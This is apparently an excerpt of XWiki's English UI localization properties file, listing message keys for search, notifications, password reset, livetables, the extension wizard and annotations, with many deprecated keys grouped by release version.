Initialization\nplatform.web.init.message.initializing=XWiki is initializing ({0}%)...\nplatform.web.init.message.initializationFailure=XWiki initialization failed!\nplatform.web.init.message.initializationSuccess=XWiki is initialized, you will be redirected shortly\nplatform.web.init.message.wiki.initializing=Wiki [{0}] is initializing ({1}%)...\nplatform.web.init.message.wiki.initializationFailure=Wiki [{0}] initialization failed!\nplatform.web.init.message.wiki.initializationSuccess=Wiki [{0}] is initialized, you will be redirected shortly", "rating.one-star=Poor\nrating.two-stars=Satisfactory\nrating.three-stars=Good\nrating.four-stars=Very good\nrating.five-stars=Excellent\nrating.votes=Votes", "## Hierarchy\nweb.hierarchy.error=Failed to get the full hierarchy.", "## XWiki Select Widget\nweb.widgets.select.filter.placeholder=Type to filter...\nweb.widgets.select.filter.noResults=No matching result...", "## Syntax Picker\nweb.widgets.syntaxPicker.configureSyntaxes=Configure more syntaxes\nweb.widgets.syntaxPicker.conversionConfirmation.title=Syntax Conversion\nweb.widgets.syntaxPicker.conversionConfirmation.message=Do you want to also convert the page content and meta data from the previous {0} syntax to the selected {1} syntax? Choosing ''No'' will only change the syntax identifier, without modifying the page content.\nweb.widgets.syntaxPicker.conversion.inProgress=Converting syntax...\nweb.widgets.syntaxPicker.conversion.done=Syntax converted\nweb.widgets.syntaxPicker.conversion.failed=Syntax conversion failed\nweb.widgets.syntaxPicker.contentUpdate.inProgress=Updating content...\nweb.widgets.syntaxPicker.contentUpdate.done=Content updated\nweb.widgets.syntaxPicker.contentUpdate.failed=Content update failed\nweb.widgets.syntaxPicker.conversionUnsupported.message=The automatic conversion from {0} to {1} syntax is not yet supported. This will change the syntax identifier but you''ll have to do the syntax conversion yourself.\nweb.widgets.syntaxPicker.conversionUnsupported.acknowledge=OK", "## Editable Property (in-place editing of properties)\nweb.editableProperty.editFailed=Failed to edit property.\nweb.editableProperty.viewFailed=Failed to view property.", "## Drawer\ncore.drawer.global=Global", "## Notifications\nnotifications.events.update.description=edited the page\nnotifications.events.update.description.by.1user=edited by {0}\nnotifications.events.update.description.by.users=edited by {0} users\nnotifications.events.addComment.description=commented the page\nnotifications.events.addComment.description.by.1user=commented by {0}\nnotifications.events.addComment.description.by.users=commented by {0} users\nnotifications.events.create.description=created the page\nnotifications.events.create.description.by.1user=created by {0}\nnotifications.events.create.description.by.users=created by {0} users\nnotifications.events.delete.description=deleted the page\nnotifications.events.delete.description.by.1user=deleted by {0}\nnotifications.events.delete.description.by.users=deleted by {0} users", "###############################################################################\n## Deprecated\n## Note: each element should be removed when the last branch using it is no longer supported\n###############################################################################", "## Used to indicate where deprecated keys start\n#@deprecatedstart", "#######################################\n## until 12.10\n#######################################", "extensions.search.recommended.disclaimer=This only includes recommended extensions.", "#@deprecated extensions.search.all.label\nextensions.search.repository.all.label=All Extensions\n#@deprecated extensions.search.recommended.label\nextensions.search.repository.recommended.label=Recommended Extensions\n#@deprecated extensions.search.recommended.disclaimer\nextensions.search.repository.recommended.disclaimer=This only includes recommended extensions.\n#@deprecated extensions.search.recommended.fallback\nextensions.search.repository.recommended.fallback=No recommended extension could be found matching ''{0}'', displaying results of the search in {1}.", "#######################################\n## until 10.1\n#######################################", "job.log.label.refactoring/rename=Rename log\njob.log.label.refactoring/copyAs=Copy log", "#######################################\n## until 2.3\n#######################################", "xe.search.lucene.try=You can also try the new experimental {0}. It adds scoring, searching into attachments and search paging. Please let us know what you think about it.\nxe.search.rebuild.started=Started index rebuild. This will take some time depending on the number of pages/attachments.\nxe.search.rebuild.rights=You must have administrator rights to rebuild the index.\nxe.search.rebuild.inprogress=Another rebuild is in progress.\nxe.search.rebuild.failed=Index rebuild failed.\nxe.search.index.rebuild=Rebuild the Lucene index\nxe.search.default.engine=default search engine\nxe.search.lucene.experimental=This is the new experimental Lucene search engine. You can still use the XWiki {0}.\npanels.search.title=Search\npanels.search.query=Search query\npanels.search.inputLabel=Search\npanels.search.inputText=search...\npanels.search.submit=Go\npanels.search.advanced=Advanced search\n### Search\nxe.search.query=Query\nxe.search.in.space=in space\nxe.search.in.wikis=in wikis\nxe.search.results.one=One result:\nxe.search.results=Results\nxe.search.of=of\nxe.search.page.previous=previous page\nxe.search.page.next=next page\nxe.search.plugin.notfound=Lucene plugin not found. Make sure it's defined in your xwiki.cfg file.\nxe.search.plugin.notenabled=The Lucene plugin is not enabled. You can use the XWiki {0}.\nxe.search.go=Search\nxe.search.web=Search\nxe.search.web.results=Search: {0}\nxe.search.lucene=Lucene Search\nxe.search.lucene.results=Lucene Search: {0}\nxe.search.rss=RSS feed for search on {0}\nxe.search.title=Search\nxe.search.bar.query.tip=search...\nxe.search.bar.query.title=Enter your search query\nxe.search.bar.wikis.all=All wikis\nxe.search.bar.wikis.title=Select wiki\nxe.search.bar.spaces.title=Select spaces\nxe.search.bar.spaces.all=All spaces\nxe.search.bar.submit=Search\nxe.search.bar.submit.title=Search query\nxe.search.bar.queryTip=e.g. xwiki* AND \"search query\"\nxe.search.bar.advanced=Advanced\n### Search results list\nxe.search.item.location=Located in <a href=\"{1}\">{0}</a> &#187; <a href=\"{3}\">{2}</a> &#187; <a href=\"{5}\">{4}</a>\nxe.search.item.modified=Modified by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nxe.search.item.posted=Posted by <span class=\"itemAuthor\">{0}</span> on <span class=\"itemDate\">{1}</span>\nxe.search.item.rating.title=Rating\nxe.search.item.relevance.title=Relevance\nxe.search.item.type.comment.title=Comment\nxe.search.item.type.attachment.title=Attachment\nxe.search.item.type.author.title=Author\nxe.search.item.type.page.title=Page\nxe.search.item.type.wiki.title=Wiki\nxe.search.item.type.space.title=Space\nxe.search.index.uptodate=Lucene index is up to date.\nxe.search.rebuild.currently=Lucene is currently building its index, {0} documents in queue.\n### Results\nxe.results.page=Page\nxe.results.space=Space\nxe.results.wiki=Wiki\nxe.results.date=Date\nxe.results.author=Last Author\nxe.results.score=Score\nxe.results.actions=Actions\nxe.results.newcomment=- 1 new comment\nxe.results.guest=Guest\nxe.results.copy=Copy\nxe.results.delete=Delete\nxe.results.rename=Rename\nxe.results.rights=Rights", "#######################################\n## until 2.6 RC2\n#######################################", "### Recent Activity Macro\nxe.recentactivity=Recent Activity\nxe.recentactivity.rssfeed=RSS feed\nxe.recentactivity.noentries=There is no recent activity", "xe.recentactivity.action.create=created the page\nxe.recentactivity.action.delete=deleted the page\nxe.recentactivity.action.update=edited the page\nxe.recentactivity.action.addAnnotation=added an annotation\nxe.recentactivity.action.deleteAnnotation=deleted an annotation\nxe.recentactivity.action.updateAnnotation=edited an annotation\nxe.recentactivity.action.addAttachment=added {0,choice,1#an attachment|1<{0} attachments}\nxe.recentactivity.action.deleteAttachment=deleted an attachment\nxe.recentactivity.action.updateAttachment=edited {0,choice,1#an attachment|1<{0} attachments}\nxe.recentactivity.action.addComment=added a comment\nxe.recentactivity.action.deleteComment=deleted a comment\nxe.recentactivity.action.updateComment=edited a comment\nxe.recentactivity.action.summary={0,choice,1#one change|1<{0} changes} by {1,choice,1#one user|1<{1} users}\nxe.recentactivity.action.seechanges=see changes", "### Wiki and space dashboard (XWiki Enterprise wiki)\nxe.dashboard.wiki.recentactivity=Recent Activity\nxe.dashboard.space.recentactivity=Recent Activity for space {0}", "### User profile page\nplatform.core.profile.section.recentactivity=My Recent Activity", "### Tag application\nxe.tag.recentactivity=Recent activity in documents tagged with {0}", "#######################################\n## until 2.6 RC1\n#######################################", "### Recent Changes (XWiki Enterprise wiki)\nxe.recentchanges=Recent Changes\nxe.recentchanges.rssfeed=RSS feed\nxe.recentchanges.summary=This table lists recent changes brought to documents of this wiki, sorted by date (more recent changes come first). Each line contains all the aggregated changes done on a single day and by a given user. For each line, the user's name and avatar are displayed, along with the list of documents modified by that user.\nxe.recentchanges.showminor=Show minor edits\nxe.recentchanges.hideminor=Hide minor edits\nxe.recentchanges.column.authoranddate=Author and date\nxe.recentchanges.column.changes=Changes\nxe.recentchanges.entry.new=new!\nxe.recentchanges.entry.page.seemodifications=See modifications\nxe.recentchanges.entry.page.seemodifications.title=Modifications for {0}\nxe.recentchanges.entry.page.tooltip=Version {0}. Last modification {1}.\nxe.recentchanges.entry.comment.tooltip=Posted at {0}\nxe.recentchanges.entry.comment=comment\nxe.recentchanges.entry.comment.show=show\nxe.recentchanges.entry.comment.hide=hide\nxe.recentchanges.entry.comment.seediscussion=See discussion", "### Wiki and space dashboard (XWiki Enterprise wiki)\nxe.dashboard.wiki.recentchanges=Recent Changes\nxe.dashboard.space.recentchanges=Recent Changes for space {0}", "### User profile page\nplatform.core.profile.section.recentChanges=Recent Changes", "### Tag application\nxe.tag.recentchanges=Recent changes in documents tagged with {0}", "#######################################\n## until 2.7\n#######################################", "### Validation Messages\nxe.admin.registration.fieldMandatory=This field is mandatory.\nxe.admin.registration.fieldOkay=Ok.\ncore.create.validation.valid=OK\ncore.create.validation.mandatoryfield=Mandatory field\ncore.editors.validation.mandatoryField=This field is mandatory", "### Forgot Username (Administration application)\nxe.admin.passwordreset.forgotusername=Forgot your username?\nxe.admin.passwordreset.enteremail=Please enter the email address you provided when creating your account.\nxe.admin.passwordreset.email=Email:\nxe.admin.passwordreset.retrieve=Retrieve username\nxe.admin.passwordreset.noaccountregistered=No account is registered using this email address.\nxe.admin.passwordreset.differentaddress=Try again using another email address\nxe.admin.passwordreset.login=Login\nxe.admin.passwordreset.usernameis=Your username is:\nxe.admin.passwordreset.multipleusernames=The following usernames are registered with this email address:\nxe.admin.passwordreset.forgotpassword=Forgot your password?\nxe.admin.passwordreset.startprocess=Please enter your username to start the password recovery process.\nxe.admin.passwordreset.username=Username:\nxe.admin.passwordreset.resetpassword=Reset password\nxe.admin.passwordreset.nouser=The ~~{0}~~ user does not exist.\nxe.admin.passwordreset.ldapuser=The ~~{0}~~ user is an LDAP user. In that case the password has to be changed on the LDAP server.\nxe.admin.passwordreset.cannotreset=Cannot reset password: email address not provided in the user profile.\nxe.admin.passwordreset.emailsent=An e-mail was sent to <tt>{0}</tt>. Please follow the instructions in that e-mail to complete the password reset procedure.\nxe.admin.passwordreset.reseterror=An unknown problem occurred while sending the reset email.\nxe.admin.passwordreset.retry=Retry\nxe.admin.passwordreset.noprogrammingrights=This page requires programming rights to work, which currently isn't the case. Please notify an administrator of this problem and try again later.\nxe.admin.passwordreset.resetfor=Reset password for ~~{0}~~\nxe.admin.passwordreset.emptystring=The password cannot be an empty string.\nxe.admin.passwordreset.nomatch=The two passwords do not match.\nxe.admin.passwordreset.newpassword=New password:\nxe.admin.passwordreset.reenterpassword=Re-enter new password:\nxe.admin.passwordreset.save=Save\nxe.admin.passwordreset.notempty=The password cannot be empty.\nxe.admin.passwordreset.success=The password has been successfully set. Please\nxe.admin.passwordreset.loginsmall=login\nxe.admin.passwordreset.successend=to continue.\nxe.admin.passwordreset.wrongparameters=Wrong parameters.\nxe.admin.passwordreset.backtoreset=Back to the password reset page", "panels.documentInformation.parent=Parent:", "#######################################\n## until 3.0M2 \n#######################################\ncore.copy.copydoc=Copy Page\ncore.copy.sourcedoc=Source page\ncore.copy.sourcedoc.hint=Location of the original page\ncore.copy.targetdoc=Target page\ncore.copy.targetdoc.hint=Desired location for the copied page", "#######################################\n## until 3.0M3\n#######################################\nadmin.general.description=General settings of the wiki.\nadmin.admin=Administrator\nyoucanclicktoedit=You can <a href=\"${doc.getURL('create')}\">edit this page</a> to create it.", "#######################################\n## until 3.0\n#######################################\nXWiki.XWikiPreferences_webbgcolor=Space Background Color\nXWiki.XWikiPreferences_menu=Menu\nXWiki.XWikiPreferences_editbox_width=Editbox Width\nXWiki.XWikiPreferences_editbox_height=Editbox Height\nXWiki.XWikiPreferences_ad_clientid=Advertisement Client ID\nXWiki.XWikiPreferences_macros_languages=Macros Languages\nXWiki.XWikiPreferences_macros_velocity=Macros for Velocity\nXWiki.XWikiPreferences_macros_groovy=Macros for Groovy\nXWiki.XWikiPreferences_macros_wiki2=Macros for new wiki Parser\nXWiki.XWikiPreferences_macros_mapping=Macros Mapping\nXWiki.XWikiPreferences_macros_wiki=Macros for the wiki Parser\nXWiki.XWikiPreferences_notification_pages=Notification Pages\nXWiki.XWikiPreferences_renderXWikiVelocityRenderer=Render velocity code\nXWiki.XWikiPreferences_renderXWikiGroovyRenderer=Render Groovy code\nXWiki.XWikiPreferences_renderXWikiRadeoxRenderer=Render Wiki syntax\nXWiki.XWikiPreferences_pageWidth=Preferred page width\nXWiki.XWikiPreferences_convertmail=convert email type", "#######################################\n## until 3.2M3\n#######################################\nxe.scheduler.jobs.infos=Infos\nxe.scheduler.jobs.add=Add\nxe.index.attachments.doc.date=Date\nxe.index.attachments.doc.author=Author", "#######################################\n## until 3.3M1\n#######################################\nplatform.core.profile.dashboard.displayOnMainPage=Display my dashboard on the wiki home when I'm logged in (instead of the default dashboard)\nplatform.core.profile.section.dashboard.preferences=Dashboard preferences\nxe.dashboard.wiki=Dashboard\nxe.dashboard.wiki.spaces=Spaces\nxe.dashboard.wiki.tagcloud=Tags\nxe.dashboard.wiki.activity=Activity Stream\nxe.dashboard.wiki.welcome=Welcome to your wiki\nxe.dashboard.wiki.personal.empty.edit=edit the dashboard section in your profile\nxe.dashboard.wiki.personal.empty=Your dashboard is currently empty. You can {0} to configure it. In the mean time, the default dashboard is displayed below.\nxe.dashboard.space=Dashboard for space {0}\nxe.dashboard.space.activity=Activity Stream for space {0}\nxe.dashboard.space.documents=Documents in space {0}\nxe.dashboard.space.remainingDocumentsInSpace=and {0} {0,choice,1#more document|1<more documents} in space {1}\nxe.dashboard.space.visitSpaceIndex=visit the Space Index to see the full list", "#######################################\n## until 3.4M1\n#######################################\ncore.create.template.empty=Empty Wiki Page", "#######################################\n## until 3.5\n#######################################", "#@deprecated platform.livetable.results\nxe.livetable.results=Livetable Results", "#@deprecated platform.livetable.resultsMacros\nxe.livetable.resultsmacros=Livetable Results Macros", "#@deprecated platform.livetable._actions.delete\nxe.livetable._actions.delete=delete", "#@deprecated platform.livetable._actions.rename\nxe.livetable._actions.rename=rename", "#@deprecated platform.livetable._actions.rights\nxe.livetable._actions.rights=rights", "#@deprecated platform.livetable._actions.copy\nxe.livetable._actions.copy=copy", "#@deprecated platform.livetable.filtersTitle\nxe.livetable.filters.title=Filter for the {0} column", "#@deprecated platform.livetable.loading\nxe.livetable.loading=Loading...", "#@deprecated platform.livetable.tagsHelp\nxe.livetable.tags.help=Click on one or more tags to filter the list", "#@deprecated platform.livetable.tagsHelpCancel\nxe.livetable.tags.help.cancel=and click again on a tag to cancel the filter", "#@deprecated platform.livetable.environmentCannotLoadTableMessage\nxe.livetable.environmentCannotLoadTableMessage=The environment prevents the table from loading data.", "#@deprecated platform.livetable.pagesizeLabel\nxe.livetable.pagesize.label=per page of", "#@deprecated platform.livetable.selectAll\nxe.livetable.select.all=All", "#@deprecated platform.livetable.paginationPage\nxe.pagination.page=Page", "#@deprecated platform.livetable.paginationPageTitle\nxe.pagination.page.title=Go to page {0}", "#@deprecated platform.livetable.paginationPagePrevious\nxe.pagination.page.previous=&#171; previous page", "#@deprecated platform.livetable.paginationPagePrevTitle\nxe.pagination.page.prev.title=Previous Page", "#@deprecated platform.livetable.paginationPageNext\nxe.pagination.page.next=next page &#187;", "#@deprecated platform.livetable.paginationPageNextTitle\nxe.pagination.page.next.title=Next Page", "#@deprecated platform.livetable.paginationResultsNone\nxe.pagination.results.none=No results", "#@deprecated platform.livetable.paginationResultsOne\nxe.pagination.results.one=One result", "#@deprecated platform.livetable.paginationResultsSingle\nxe.pagination.results.single=Result <span class=\"currentResultsNo\">{0}</span> of <span class=\"totalResultsNo\">{1}</span>", "#@deprecated platform.livetable.paginationResultsMany\nxe.pagination.results.many=Results <span class=\"currentResultsNo\">{0} - {1}</span> of <span class=\"totalResultsNo\">{2}</span>", "#@deprecated platform.livetable.paginationResults\nxe.pagination.results=Results", "#@deprecated platform.livetable.paginationResultsOf\nxe.pagination.results.of=out of", "#@deprecated platform.index.documents\nxe.index.documents=Documents on this Wiki", "#@deprecated platform.index\nxe.index=Index", "#@deprecated platform.index.tree\nxe.index.tree=Tree", "#@deprecated platform.index.orphaned\nxe.index.orphaned=Orphaned Pages", "#@deprecated platform.index.orphanedResults\nxe.index.orphaned.results=Orphaned Pages JSON Service", "#@deprecated platform.index.attachments\nxe.index.attachments=Attachments", "#@deprecated platform.index.attachmentsResults\nxe.index.attachments.results=Attachments JSON Service", "#@deprecated platform.index.doc.name\nxe.index.doc.name=Page", "#@deprecated platform.index.doc.space\nxe.index.doc.space=Space", "#@deprecated platform.index.doc.date\nxe.index.doc.date=Date", "#@deprecated platform.index.doc.author\nxe.index.doc.author=Last Author", "#@deprecated platform.index._actions\nxe.index._actions=Actions", "#@deprecated platform.index.emptyvalue\nxe.index.emptyvalue=", "#@deprecated platform.index.attachments.filename\nxe.index.attachments.filename=Filename", "#@deprecated platform.index.attachments.doc.name\nxe.index.attachments.doc.name=Page", "#@deprecated platform.index.attachments.doc.space\nxe.index.attachments.doc.space=Space", "#@deprecated platform.index.attachments.date\nxe.index.attachments.date=Date", "#@deprecated platform.index.attachments.author\nxe.index.attachments.author=Author", "#@deprecated platform.index.attachments.type\nxe.index.attachments.type=Type", "#@deprecated platform.index.attachments.emptyvalue\nxe.index.attachments.emptyvalue=", "#@deprecated platform.index.documentsTrash\nxe.index.documentsTrash=Deleted Documents", "#@deprecated platform.index.trashDocumentsEmpty\nxe.index.trash.documents.empty=No deleted documents", "#@deprecated platform.index.trashDocuments.ddoc.fullName\nxe.index.trash.documents.ddoc.fullName=Document", "#@deprecated platform.index.trashDocuments.ddoc.title\nxe.index.trash.documents.ddoc.title=Title", "#@deprecated platform.index.trashDocuments.ddoc.date\nxe.index.trash.documents.ddoc.date=Deleted on", "#@deprecated platform.index.trashDocuments.ddoc.deleter\nxe.index.trash.documents.ddoc.deleter=Deleted by", "#@deprecated platform.index.trashDocuments.actions\nxe.index.trash.documents.actions=", "#@deprecated platform.index.trashDocumentsActionsRestoreTooltip\nxe.index.trash.documents.actions.restore.tooltip=Restore document", "#@deprecated platform.index.trashDocumentsActionsRestoreText\nxe.index.trash.documents.actions.restore.text=[restore]", "#@deprecated platform.index.trashDocumentsActionsCannotRestoreTooltip\nxe.index.trash.documents.actions.cannotRestore.tooltip=The document cannot be restored to its original location because it has been recreated", "#@deprecated platform.index.trashDocumentsActionsCannotRestoreText\nxe.index.trash.documents.actions.cannotRestore.text=[cannot restore]", "#@deprecated platform.index.trashDocumentsActionsDeleteTooltip\nxe.index.trash.documents.actions.delete.tooltip=Permanently delete document", "#@deprecated platform.index.trashDocumentsActionsDeleteText\nxe.index.trash.documents.actions.delete.text=[delete]", "#@deprecated platform.index.trashDocumentsDeleteInProgress\nxe.index.trash.documents.delete.inProgress=Permanently deleting document...", "#@deprecated platform.index.trashDocumentsDeleteDone\nxe.index.trash.documents.delete.done=Document permanently deleted", "#@deprecated platform.index.trashDocumentsDeleteFailed\nxe.index.trash.documents.delete.failed=Failed to delete:", "#@deprecated platform.index.trashDocumentsDeleteInformation\nxe.index.trash.documents.deleteInformation=Deleted by {0} on {1}", "#@deprecated platform.index.attachmentsTrash\nxe.index.attachmentsTrash=Deleted Attachments", "#@deprecated platform.index.trashAttachmentsEmpty\nxe.index.trash.attachments.empty=No deleted attachments", "#@deprecated platform.index.trashAttachments.datt.filename\nxe.index.trash.attachments.datt.filename=Attachment", "#@deprecated platform.index.trashAttachments.datt.docName\nxe.index.trash.attachments.datt.docName=Document", "#@deprecated platform.index.trashAttachments.datt.date\nxe.index.trash.attachments.datt.date=Deleted on", "#@deprecated platform.index.trashAttachments.datt.deleter\nxe.index.trash.attachments.datt.deleter=Deleted by", "#@deprecated platform.index.trashAttachments.actions\nxe.index.trash.attachments.actions=", "#@deprecated platform.index.trashAttachmentsActionsRestoreTooltip\nxe.index.trash.attachments.actions.restore.tooltip=Restore attachment", "#@deprecated platform.index.trashAttachmentsActionsRestoreText\nxe.index.trash.attachments.actions.restore.text=[restore]", "#@deprecated platform.index.trashAttachmentsActionsCannotRestoreTooltip\nxe.index.trash.attachments.actions.cannotRestore.tooltip=The attachment cannot be restored to its original location because another file with the same name has been attached.", "#@deprecated platform.index.trashAttachmentsActionsCannotRestoreText\nxe.index.trash.attachments.actions.cannotRestore.text=[cannot restore]", "#@deprecated platform.index.trashAttachmentsActionsDeleteTooltip\nxe.index.trash.attachments.actions.delete.tooltip=Permanently delete attachment", "#@deprecated platform.index.trashAttachmentsActionsDeleteText\nxe.index.trash.attachments.actions.delete.text=[delete]", "#@deprecated platform.index.trashAttachmentsDeleteInProgress\nxe.index.trash.attachments.delete.inProgress=Permanently deleting attachment...", "#@deprecated platform.index.trashAttachmentsDeleteDone\nxe.index.trash.attachments.delete.done=Attachment permanently deleted", "#@deprecated platform.index.trashAttachmentsDeleteFailed\nxe.index.trash.attachments.delete.failed=Failed to delete:", "#@deprecated platform.index.spaceIndex\nxe.space.index=Space Index", "#@deprecated platform.index.spaceIndexDescription\nxe.space.index.description=Pages in the {0} space:", "#@deprecated platform.index.spaceIndexDocumentListCreate\nxe.spaceIndex.documentList.create=Create a new page", "#######################################\n## until 4.1M1\n#######################################", "#@deprecated core.viewers.diff.class.changed\ncore.viewers.diff.class.changes=Changed property {0}", "#######################################\n## until 4.1RC1\n#######################################\ncore.viewers.diff.summary=Show changes done between selected versions\ncore.viewers.diff.property=Property\ncore.viewers.diff.oldValue=Previous value\ncore.viewers.diff.newValue=New value\ncore.viewers.diff.attachment.filename=Filename\ncore.viewers.diff.attachment.action=Action", "#######################################\n## until 4.2M1\n#######################################\nextensions.advancedSearch.wiki.label=The wiki where to install\n#@deprecated extensions.install.list.install\nextensions.install.list.new=The following new extensions will be installed:\nextensions.install.list.suggested=Suggested:\nextensions.install.list.conflict=Conflict with core extensions:\nextensions.install.error.conflictingExtension=extension {0} is needed in version {1} but core extension has version {2}\nextensions.install.error.installFailure.onWiki=Failed to install extension with id {0} and version {1} on wiki {2}:", "#######################################\n## until 4.3M1\n#######################################\nxe.officeimporter.results.missingspace=Missing target space name. Please {0} and correct it.\nxe.officeimporter.results.missingpage=Missing target page name. Please {0} and correct it.\nextensions.uninstall.list=The following extensions will be removed:", "#@deprecated platform.extension.distributionWizard.welcomeStepTitle\nextensions.distribution.wizardTitle=Distribution Wizard", "#@deprecated platform.extension.distributionWizard.uiStepNoStateError\nextensions.distribution.error.noState=Can't get any information about the distribution.", "#@deprecated platform.extension.distributionWizard.uiStepDistributionHint\nextensions.distribution.hint=The following distribution has been detected:", "#@deprecated platform.extension.distributionWizard.uiStepUIHint\nextensions.distribution.uiHint=The following user interface is recommended for your distribution:", "#@deprecated platform.extension.distributionWizard.uiStepUIUnspecifiedError\nextensions.distribution.error.noUI=The detected distribution doesn't specify a default user interface.", "#@deprecated platform.extension.distributionWizard.extensionsStepUpToDate\nextensions.distribution.upToDate=All extensions are up to date.", "#@deprecated platform.extension.distributionWizard.extensionsStepInvalidExtensionsLabel\nextensions.distribution.list.invalid.label=Invalid extensions", "#@deprecated platform.extension.distributionWizard.extensionsStepInvalidExtensionsHint\nextensions.distribution.list.invalid.hint=The following extensions have to be upgraded or downgraded in order to work with your current distribution:", "#@deprecated platform.extension.distributionWizard.extensionsStepOutdatedExtensionsLabel\nextensions.distribution.list.outdated.label=Outdated extensions", "#@deprecated platform.extension.distributionWizard.extensionsStepOutdatedExtensionsHint\nextensions.distribution.list.outdated.hint=The following extensions can be upgraded:", "#@deprecated platform.extension.distributionWizard.extensionsStepPrepareUpgradeFailure\nextensions.distribution.error.prepareUpgradeFailure=Failed to create upgrade plan.", "#@deprecated platform.extension.distributionWizard.continueLabel\nextensions.distribution.stepAction.complete=Continue", "#@deprecated platform.extension.distributionWizard.skipLabel\nextensions.distribution.stepAction.skip=Skip", "#@deprecated platform.extension.distributionWizard.skipHint\nextensions.distribution.stepAction.skip.hint=Ask me again after XWiki is restarted", "#@deprecated platform.extension.distributionWizard.cancelLabel\nextensions.distribution.stepAction.cancel=Cancel", "#@deprecated platform.extension.distributionWizard.cancelHint\nextensions.distribution.stepAction.cancel.hint=Let me complete the installation manually", "#######################################\n## until 4.3M2\n#######################################\nxe.admin.local=Local\nxe.admin.groups.addGroup.submit=Add\nxe.admin.groups.addUser.duplicate=The user is already a member of this group\nxe.admin.groups.addGroup.duplicate=The group is already a subgroup", "#######################################\n## until 4.4RC1\n#######################################", "#@deprecated action.addClassProperty.error.invalidName\npropertynamenotcorrect=Property names must follow these naming rules: <br/>Names can contain letters, numbers, and the following characters: \"., -, _, :\" <br/>Names must not start with a number or punctuation character. <br/>Names must not start with the letters xml (or XML, or Xml, etc). <br/>Names cannot contain spaces.", "#######################################\n## until 4.5\n#######################################\nextensions.info.dependency=Installed as a dependency needed by another extension\nextensions.install.actions.submit=Apply\nextensions.install.actions.cancel=Cancel\nextensions.uninstall.actions.submit=Apply\nextensions.uninstall.actions.cancel=Cancel", "#######################################\n## until 5.0M2\n#######################################\n## Translations should not contain velocity code\neditpageTitle=Editing $services.localization.render($editor) for $tdoc.displayTitle", "#######################################\n## until 5.0RC1\n#######################################\navailableversionsattachment=The available versions of file '$attachment.filename' are:\nplatform.extension.distributionWizard.experimentalWarning=This feature is currently experimental. It has some rough edges which we hope to fix in the next versions. Please report any {0}issues{1} you may encounter while using the distribution wizard.", "#@deprecated platform.extension.distributionWizard.extension.defaultuiStepTitle\nplatform.extension.distributionWizard.uiStepTitle=User Interface", "#@deprecated platform.extension.distributionWizard.extension.defaultuiStepSummary\nplatform.extension.distributionWizard.uiStepSummary=Install the default set of wiki pages recommended for the current version of the XWiki runtime", "#@deprecated platform.extension.distributionWizard.extension.outdatedextensionsStepTitle\nplatform.extension.distributionWizard.extensionsStepTitle=Extensions", "#@deprecated platform.extension.distributionWizard.extension.outdatedextensionsStepSummary\nplatform.extension.distributionWizard.extensionsStepSummary=Update the installed extensions", "#@deprecated platform.extension.updater.noUpdatesAvailable\nplatform.extension.distributionWizard.extensionsStepUpToDate=All extensions are up to date.", "#@deprecated platform.extension.updater.invalidExtensionsLabel\nplatform.extension.distributionWizard.extensionsStepInvalidExtensionsLabel=Invalid extensions", "#@deprecated platform.extension.updater.invalidExtensionsHint\nplatform.extension.distributionWizard.extensionsStepInvalidExtensionsHint=The following extensions from {0} have to be upgraded or downgraded in order to work with your current distribution:", "#@deprecated platform.extension.updater.outdatedExtensionsLabel\nplatform.extension.distributionWizard.extensionsStepOutdatedExtensionsLabel=Outdated extensions", "#@deprecated platform.extension.updater.outdatedExtensionsHint\nplatform.extension.distributionWizard.extensionsStepOutdatedExtensionsHint=The following extensions from {0} can be upgraded:", "#@deprecated platform.extension.updater.createUpgradePlanFailure\nplatform.extension.distributionWizard.extensionsStepPrepareUpgradeFailure=Failed to create upgrade plan.", "#@deprecated platform.extension.updater.loading\nplatform.extension.distributionWizard.extensionsStepLoading=Please wait a few minutes for the upgrade plan to be computed...", "#@deprecated platform.extension.updater.reloadHint\nplatform.extension.distributionWizard.extensionsStepReloadHint=In case this information is outdated you can {0}recompute{1} the upgrade plan.", "annotations.title=Annotations\nannotations.menu.loading=Loading annotations settings\nannotations.menu.loaderror=Failed:\nannotations.tab.info.noannotations=No annotations for this document\nannotations.settings.display=Show annotations\nannotations.settings.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.settings.error.notarget=No document specified to get annotations settings for.\nannotations.annotated.loading=Loading annotated document\nannotations.annotated.loaderror=Failed:\nannotations.annotated.loaderror.wrongresponse=Wrongly formatted server response\nannotations.annotated.error.noannotatedelement=Annotations could not be loaded because the content is not available.\nannotations.annotated.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.action.edit.text=[Edit]\nannotations.action.edit.tooltip=Edit this annotation\nannotations.action.edit.submit.text=Update\nannotations.action.edit.cancel.text=Cancel\nannotations.action.edit.success=Annotation has been successfully updated.\nannotations.action.edit.loaderror=Failed:\nannotations.action.edit.error.notfound=This annotation does not exist anymore. Please refresh the page for an updated view.\nannotations.action.delete.text=[Delete]\nannotations.action.delete.tooltip=Delete this annotation\nannotations.action.delete.confirm=Are you sure you want to delete this annotation?\nannotations.action.delete.inProgress=Deleting annotation...\nannotations.action.delete.done=Annotation deleted\nannotations.action.delete.failed=Failed to delete annotation:\nannotations.action.create.submit.text=Add annotation\nannotations.action.create.cancel.text=Cancel\nannotations.action.create.selection.invalid=Please select a nonempty text in the document content.\nannotations.action.create.form.loaderror=Failed:\nannotations.action.create.success=Annotation has been successfully added\nannotations.action.create.loaderror=Failed:\nannotations.action.create.error.unauthorized=You are not authorized to add annotations on this document.\nannotations.action.create.error.unauthorizedguest=You are not authorized to add annotations on this document. Try to login first.\nannotations.action.create.helpmessage=To annotate a piece of text, select it and hit {0}.\nannotations.action.create.error.wrongsyntax=Annotations are not available for documents in XWiki/1.0 syntax.\nannotations.action.create.error.notarget=Unspecified target (document) to create annotations for.\nannotations.action.view.hide.text=hide\nannotations.action.view.form.loaderror=Failed:\nannotations.action.view.error.notfound=This annotation does not exist anymore. Please refresh the page for an updated view.\nannotations.altered.text=This annotation could not be displayed because the annotated text was not found in the document:\nannotations.updated.text=This annotation was automatically repositioned after an update of the document. Originally:\nannotations.action.validate.text=[Validate]\nannotations.action.validate.tooltip=Validate the automatic update of the selected text of this annotation\nannotations.action.validate.success=Annotation has been successfully validated.\nannotations.action.validate.loaderror=Failed:\nannotations.filters.show=Refine the display criteria\nannotations.filters.nooption=There are no values to filter for \"{0}\"\nannotations.filters.anyvalue=any value\nannotations.filters.clearvalue=clear\nannotations.config.title=Annotations configuration panel\nannotations.config.display.title=Annotation display settings\nannotations.config.type.title=Annotation type settings\nannotations.config.activate.title=Annotation activation 